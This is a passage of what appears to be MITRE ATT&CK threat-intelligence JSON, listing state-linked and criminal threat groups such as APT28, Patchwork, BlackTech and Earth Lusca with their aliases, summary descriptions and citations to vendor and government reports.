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                    "description": "MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation \u2013 Final Update. Retrieved May 14, 2021.",
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                    "source_name": "Treasury North Korean Cyber Groups September 2019",
                    "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.",
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                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.",
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            "description": "[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)",
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                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
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                    "source_name": "TrendMicro BlackTech June 2017",
                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020.",
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                    "source_name": "IronNet BlackTech Oct 2021",
                    "description": "Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022.",
                    "url": "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape"
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                    "source_name": "Reuters Taiwan BlackTech August 2020",
                    "description": "Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022.",
                    "url": "https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK"
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                    "source_name": "Symantec Palmerworm Sep 2020",
                    "description": "Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022.",
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            "name": "BlackTech",
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)",
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            "modified": "2025-03-08T18:42:45.320Z",
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            "description": "[APT42](https://attack.mitre.org/groups/G1044) is an Iranian-sponsored threat group that conducts cyber espionage and surveillance.(Citation: Mandiant APT42-charms) The group primarily focuses on targets in the Middle East region, but has targeted a variety of industries and countries since at least 2015.(Citation: Mandiant APT42-charms) [APT42](https://attack.mitre.org/groups/G1044) starts cyber operations through spearphishing emails and/or the PINEFLOWER Android malware, then monitors and collects information from the compromised systems and devices.(Citation: Mandiant APT42-charms) Finally, [APT42](https://attack.mitre.org/groups/G1044) exfiltrates data using native features and open-source tools.(Citation: Mandiant APT42-untangling) \n\n[APT42](https://attack.mitre.org/groups/G1044) activities have been linked to [Magic Hound](https://attack.mitre.org/groups/G0059) by other commercial vendors. While there are behavior and software overlaps between [Magic Hound](https://attack.mitre.org/groups/G0059) and [APT42](https://attack.mitre.org/groups/G1044), they appear to be distinct entities and are tracked as separate entities by their originating vendor. ",
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            "description": "[Malteiro](https://attack.mitre.org/groups/G1026) is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the [Mispadu](https://attack.mitre.org/software/S1122)  banking trojan via a Malware-as-a-Service (MaaS) business model. [Malteiro](https://attack.mitre.org/groups/G1026) mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).(Citation: SCILabs Malteiro 2021)",
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                    "source_name": "SCILabs Malteiro 2021",
                    "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.",
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            "name": "Earth Lusca",
            "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)",
            "aliases": [
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                "Charcoal Typhoon",
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                    "source_name": "Charcoal Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "source_name": "CHROMIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)"
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                    "description": "(Citation: Recorded Future TAG-22 July 2021)"
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                    "source_name": "Recorded Future TAG-22 July 2021",
                    "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.",
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                    "source_name": "Recorded Future RedHotel August 2023",
                    "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.",
                    "url": "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf"
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "source_name": "Cybereason OperationCuckooBees May 2022",
                    "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.",
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            "name": "Operation CuckooBees",
            "description": "[Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was conducted by actors affiliated with [Winnti Group](https://attack.mitre.org/groups/G0044), [APT41](https://attack.mitre.org/groups/G0096), and BARIUM.(Citation: Cybereason OperationCuckooBees May 2022)",
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            "name": "Juicy Mix",
            "description": "[Juicy Mix](https://attack.mitre.org/campaigns/C0044) was a campaign conducted by [OilRig](https://attack.mitre.org/groups/G0049) throughout 2022 that targeted Israeli organizations with the [Mango](https://attack.mitre.org/software/S1169) backdoor.(Citation: ESET OilRig Campaigns Sep 2023)",
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                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
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                    "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220119133748/https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"
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            "modified": "2024-11-17T23:51:01.110Z",
            "name": "Patchwork",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
            "aliases": [
                "Patchwork",
                "Hangover Group",
                "Dropping Elephant",
                "Chinastrats",
                "MONSOON",
                "Operation Hangover"
            ],
            "x_mitre_deprecated": false,
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            "type": "intrusion-set",
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            "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "created": "2017-05-31T21:32:07.145Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0040",
                    "external_id": "G0040"
                },
                {
                    "source_name": "Patchwork",
                    "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"
                },
                {
                    "source_name": "Chinastrats",
                    "description": "(Citation: Securelist Dropping Elephant)"
                },
                {
                    "source_name": "Dropping Elephant",
                    "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"
                },
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                    "source_name": "Hangover Group",
                    "description": "[Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)"
                },
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20180825085952/https:/s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                },
                {
                    "source_name": "Operation Hangover May 2013",
                    "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20140424084220/http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf"
                },
                {
                    "source_name": "Symantec Patchwork",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"
                },
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"
                },
                {
                    "source_name": "Operation Hangover",
                    "description": "It is believed that the actors behind [Patchwork](https://attack.mitre.org/groups/G0040) are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)"
                },
                {
                    "source_name": "Securelist Dropping Elephant",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
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                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                },
                {
                    "source_name": "MONSOON",
                    "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)"
                },
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
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            "name": "Windows Registry Key Modification",
            "description": "Changes made to an existing registry key or its values. These modifications can include altering permissions, modifying stored data, or updating configuration settings.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n    - Event ID 4657 - Registry Value Modified: Logs changes to registry values, including modifications to startup entries, security settings, or system configurations.\n- Sysmon (System Monitor) for Windows\n    - Sysmon Event ID 13 - Registry Value Set: Captures changes to specific registry values.\n    - Sysmon Event ID 14 - Registry Key & Value Renamed: Logs renaming of registry keys, which may indicate evasion attempts.\n- Endpoint Detection and Response (EDR) Solutions\n    - Monitor registry modifications for suspicious behavior.",
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            "modified": "2025-03-10T20:15:06.958Z",
            "name": "APT28",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election.(Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ",
            "aliases": [
                "APT28",
                "IRON TWILIGHT",
                "SNAKEMACKEREL",
                "Swallowtail",
                "Group 74",
                "Sednit",
                "Sofacy",
                "Pawn Storm",
                "Fancy Bear",
                "STRONTIUM",
                "Tsar Team",
                "Threat Group-4127",
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                "Forest Blizzard",
                "FROZENLAKE",
                "GruesomeLarch"
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            "x_mitre_contributors": [
                "S\u00e9bastien Ruel, CGI",
                "Drew Church, Splunk",
                "Emily Ratliff, IBM",
                "Richard Gold, Digital Shadows"
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            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "created": "2017-05-31T21:31:48.664Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0007",
                    "external_id": "G0007"
                },
                {
                    "source_name": "SNAKEMACKEREL",
                    "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)"
                },
                {
                    "source_name": "Fancy Bear",
                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"
                },
                {
                    "source_name": "Tsar Team",
                    "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)"
                },
                {
                    "source_name": "APT28",
                    "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"
                },
                {
                    "source_name": "STRONTIUM",
                    "description": "(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"
                },
                {
                    "source_name": "FROZENLAKE",
                    "description": "(Citation: Leonard TAG 2023)"
                },
                {
                    "source_name": "Forest Blizzard",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "GruesomeLarch",
                    "description": "(Citation: Nearest Neighbor Volexity)"
                },
                {
                    "source_name": "IRON TWILIGHT",
                    "description": "(Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)"
                },
                {
                    "source_name": "Threat Group-4127",
                    "description": "(Citation: SecureWorks TG-4127)"
                },
                {
                    "source_name": "TG-4127",
                    "description": "(Citation: SecureWorks TG-4127)"
                },
                {
                    "source_name": "Pawn Storm",
                    "description": "(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) "
                },
                {
                    "source_name": "Swallowtail",
                    "description": "(Citation: Symantec APT28 Oct 2018)"
                },
                {
                    "source_name": "Group 74",
                    "description": "(Citation: Talos Seduploader Oct 2017)"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "Leonard TAG 2023",
                    "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.",
                    "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"
                },
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                },
                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                },
                {
                    "source_name": "FireEye APT28 January 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "Ars Technica GRU indictment Jul 2018",
                    "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.",
                    "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/"
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"
                },
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.",
                    "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/"
                },
                {
                    "source_name": "Microsoft STRONTIUM Aug 2019",
                    "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.",
                    "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
                    "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf"
                },
                {
                    "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021",
                    "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.",
                    "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"
                },
                {
                    "source_name": "NSA/FBI Drovorub August 2020",
                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020.",
                    "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF"
                },
                {
                    "source_name": "SecureWorks TG-4127",
                    "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.",
                    "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
                },
                {
                    "source_name": "Secureworks IRON TWILIGHT Active Measures March 2017",
                    "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.",
                    "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures"
                },
                {
                    "source_name": "Secureworks IRON TWILIGHT Profile",
                    "description": "Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022.",
                    "url": "https://www.secureworks.com/research/threat-profiles/iron-twilight"
                },
                {
                    "source_name": "Symantec APT28 Oct 2018",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government"
                },
                {
                    "source_name": "Sednit",
                    "description": "This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)"
                },
                {
                    "source_name": "Sofacy",
                    "description": "This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)"
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                    "source_name": "SentinelOne Aoqin Dragon June 2022",
                    "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.",
                    "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"
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            "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) is a suspected Chinese cyber espionage threat group that has been active since at least 2013. [Aoqin Dragon](https://attack.mitre.org/groups/G1007) has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between [Aoqin Dragon](https://attack.mitre.org/groups/G1007) and UNC94, based on malware, infrastructure, and targets.(Citation: SentinelOne Aoqin Dragon June 2022)",
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                    "source_name": "Sygnia Emperor Dragonfly October 2022",
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                    "description": "Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.",
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                    "description": "SecureWorks. (n.d.). BRONZE STARLIGHT. Retrieved December 6, 2023.",
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            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)",
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                    "source_name": "BRONZE SILHOUETTE",
                    "description": "(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"
                },
                {
                    "source_name": "CISA AA24-038A PRC Critical Infrastructure February 2024",
                    "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.",
                    "url": "https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"
                },
                {
                    "source_name": "Secureworks BRONZE SILHOUETTE May 2023",
                    "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.",
                    "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"
                },
                {
                    "source_name": "Microsoft Volt Typhoon May 2023",
